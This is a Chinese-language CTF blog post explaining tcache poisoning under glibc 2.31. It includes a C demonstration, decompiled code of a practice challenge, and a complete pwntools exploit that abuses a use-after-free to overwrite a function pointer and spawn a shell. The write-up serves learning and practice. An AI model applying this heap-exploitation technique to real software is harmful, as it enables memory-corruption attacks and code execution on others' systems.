---
title: "【Pwn】堆学习之glibc2.31下的tcache投毒"
date: "2026-04-27 22:28:25"
author: "Lochad"
categories: ["堆学习-基于glibc2.31"]
tags: []
---
# 【Pwn】堆学习之glibc2.31下的tcache投毒
### 0x1 tcache投毒是什么
**·** tcache投毒的本质就是把tcache单链表里的next指针改成想要的地址，利用“程序从tcache中拿取chunk时会使head指向next使next成为新的head，在下一次拿取时把head指向的地址作为可写入空间返回”的机制将目标地址返回实现任意写的手法。注意：返回的地址是将直接用于写入的地址，相当于正常chunk的user_data，所以写入目标地址时不需要-0x10。
### 0x2 tcache投毒实例
**·** 使用如下实例：
```
#include
#include
int main(){
char *a = malloc(0x30);
char *b = malloc(0x30);
free(a);
free(b);
*(size_t *)b = 0x555555558600;
char *c = malloc(0x30);
char *d = malloc(0x30);
}
```
**·** 两次free且目标地址写入后两个chunk的状态：
**·** 可以看到b的user_data+0x00已经被写为了目标地址。下面第一次malloc时，chunk_c会正常分配，head会指向chunk_b的next即我们写入的目标地址并将其作为新的head，第二次malloc时0x555555558600就会被tcache误认成一个合法的user_data头从而返回给chunk_d。如图所示（chunk_d分配后）：
**·** 可以看到chunk_d成功分配到了我们伪造的地址。此时若伪造地址可写，就可以利用原本向chunk_d写入的函数对目标地址进行写操作。
### 0x3 例题
题目：https://lochad-1396125149.cos.ap-beijing.myqcloud.com/pwn_challanges/heap/glibc2.31/TcacheUAF/TcacheUAF.zip
#### 0x1 保护
```
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x3fe000)
RUNPATH: b'.'
Stripped: No
```
#### 0x2 伪码
```
int __fastcall main(int argc, const char **argv, const char **envp)
{
init(argc, argv, envp);
control = bye;
while ( 1 )
{
menu();
switch ( read_int() )
{
case 1:
add();
break;
case 2:
delete_chunk();
break;
case 3:
edit();
break;
case 4:
show();
break;
case 5:
trigger();
break;
case 6:
puts("bye");
return 0;
default:
puts("invalid");
break;
}
}
}
```
```
int add()
{
unsigned int v1; // [rsp+Ch] [rbp-4h]
printf("idx: ");
v1 = read_int();
if ( v1 >= 8 )
return puts("invalid");
if ( chunks[v1] )
return puts("occupied");
chunks[v1] = malloc(0x30uLL);
if ( !chunks[v1] )
exit(0);
printf("content: ");
read_n(chunks[v1], 0x30uLL);
return puts("done");
}
```
```
int delete_chunk()
{
unsigned int v1; // [rsp+Ch] [rbp-4h]
printf("idx: ");
v1 = read_int();
if ( v1 >= 8 || !chunks[v1] )
return puts("invalid");
free(chunks[v1]);
return puts("done");
}
```
```
int edit()
{
unsigned int v1; // [rsp+Ch] [rbp-4h]
printf("idx: ");
v1 = read_int();
if ( v1 >= 8 || !chunks[v1] )
return puts("invalid");
printf("content: ");
read_n(chunks[v1], 0x30uLL);
return puts("done");
}
```
```
int trigger()
{
if ( control )
return control();
else
return puts("nothing happens");
}
```
#### 0x3 漏洞分析
**·** 程序没有UAF保护，可以直接写free_chunk的next段，进行tcache投毒，从而把control作为可写字段返回，再向control写入win()的地址，最后调用trigger()拿shell。
#### 0x4 exp
```
from pwn import *
context(arch='amd64', os='linux', log_level='debug', terminal=['konsole', '--no
close', '-e'])
io = process('./pwn_patched')
#io = remote()
'''
think...
malloc()
malloc()
free(a)
free(b)
b.next -> control
malloc()
malloc() -> control
control -> win
'''
control = 0x4040e0
win = 0x401303
def memu(idx):
io.recvuntil('6. quit\n> ')
io.sendline(idx)
def add(idx, data):
memu(str(1))
io.recvuntil('idx: ')
io.sendline(idx)
io.recvuntil('content: ')
io.sendline(data)
def delete(idx):
memu(str(2))
io.recvuntil('idx: ')
io.sendline(idx)
def edit(idx, data):
memu(str(3))
io.recvuntil('idx: ')
io.sendline(idx)
io.recvuntil('content: ')
io.sendline(data)
add(str(0), 'A'*0x30)
add(str(1), 'B'*0x30)
delete(str(0))
delete(str(1))
edit(str(1), p64(control))
add(str(2), 'C'*0x30)
add(str(3), 'D'*0x30)
payload1 = p64(win)
payload1 += b'\0'*40
edit(str(3), payload1)
memu(str(5))
io.interactive()
```